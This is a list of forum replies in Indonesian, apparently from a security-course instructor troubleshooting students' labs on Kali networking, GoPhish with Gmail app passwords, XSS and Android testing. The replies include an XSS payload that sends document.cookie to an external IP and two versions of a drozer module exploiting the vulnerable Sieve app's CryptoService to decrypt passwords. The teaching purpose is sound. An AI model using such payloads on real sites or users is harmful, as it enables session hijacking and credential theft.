Forum Replies Created
-
Posts
-
boleh tpi biar bisa ikutin itu mesti nyalain usb debugging di android nya
bisa mintol di screenshoot mungkin yang diubah? biar bisa cek sama2
bisa di videoin waktu mencoba nya ? coba cek network adapter nya udh bener atau blom?
saya kurang ngerti penjelasannya bisa direkam kah? biar bisa saya cek dulu
coba di dalam document.write itu diganti alert(document.cookie)
keluar ini ngga banner isi cookiekali linux itu ada logo kotak hitam itu namanya terminal, temen2 kalau kalau blum mengerti apa itu dasarnya jangan loncat langsung ke materi ini karena intermediate
itu mesti aktifin app password dulu di akun gmail yah https://www.rumahweb.com/journal/cara-mengaktifkan-application-password-gmail/ nanti app password nya akan sbg pengganti password email di gophish nya
seperti yang sudah di jelaskan tadi app passwordnya sudh dinyalakan kah?
sudh bener kok, waktu inspect element di bagian storage > cookie ada isinya?
saya kurang ngerti penjelasannya kalau gitu coba:
1. sebelumnya pakai lab web security kah? apakah ada proxy yang blum di matiin di browser kali linux?
2. sudh coba pergi ke link ini via browser kali linuxhttps://github.com/OWASP/mastg/raw/refs/heads/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk
3. kalau masih g bisa coba lwat terminal aja via curlcurl https://github.com/OWASP/mastg/raw/refs/heads/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk -O UnCrackable-Level1.apkudh bikin app password? untuk bisa bikin gophish login ke gmail itu via app password dan bisa dinyalain via account setting tpi sebelum itu “2fa” di nyalain dulu
kalau sudh itu berarti ada typo atau adapter network virtualbox nya mungkin ada yg salah pilihbisa coba ini yah
<img src=x onerror=this.src='http://34.211.174.102/?c='+document.cookie>mungkin ga dapat, gara2 ip nya yang dimasukan di xss payload nya salah, coba di cek dulu
sewaktu download dari kali linux keluar error nya apa? kali linux udh di set ke bridge adapter atau nat?
import base64 from drozer import android from drozer.modules import common, Module class Decrypt(Module, common.ServiceBinding): name = "Decrypt sieve password" description = "Exploit Sieve service to decrypt given password" path = ["exploit", "sieve", "service_decrypt"] permissions = ["com.mwr.dz.permissions.GET_CONTEXT"] def add_arguments(self, parser): parser.add_argument("key", help="Encryption key") parser.add_argument("base64", help="Base64‑encoded encrypted password") def execute(self, arguments): # Build the Bundle with KEY and PASSWORD bundle = self.new("android.os.Bundle") bundle.putString("com.mwr.example.sieve.KEY", arguments.key) # decode the base64 input and store as a byte array bundle.putByteArray( "com.mwr.example.sieve.PASSWORD", base64.b64decode(arguments.base64) ) # Bind to the CryptoService inside the vulnerable app binding = self.getBinding( "com.mwr.example.sieve", "com.mwr.example.sieve.CryptoService" ) binding.setBundle(bundle) binding.setObjFormat("bundleAsObj") # Send the message that triggers the decryption service msg = (13476, 1, 1) if binding.send_message(msg, 5000): self.stdout.write("%s\n" % binding.getData()) else: self.stderr.write("An error occurred\n")bisa dicoba yang ini
kurang ) di putbytestring
import base64 from drozer import android from drozer.modules import common, Module class Decrypt(Module, common.ServiceBinding): name = "Decrypt sieve password" description = "Exploit Sieve service to decrypt given password" path = ["exploit","sieve","service_decrypt"] permissions = ["com.mwr.dz.permissions.GET_CONTEXT"] def add_arguments(self,parser): parser.add_argument("key", help="encryption key") parser.add_argument("base64", help="base64 encrypted key") def execute(self,arguments): bundle = self.new("android.os.Bundle") bundle.putString("com.mwr.example.sieve.KEY", arguments.key) bundle.putByteString("com.mwr.example.sieve.PASSWORD", self.arg(base64.b64decode(arguments.base64), obj_type="data")) binding = self.getBinding("com.mwr.example.sieve", "com.mwr.example.sieve.CryptoService") binding.setBundle(bundle) binding.setObjFormat("bundleAsObj") msg = (13476,1,1) if binding.send_message(msg, 5000): self.stdout.write("%s\n" % binding.getData()) else: self.stderr.write("An error occurred\n")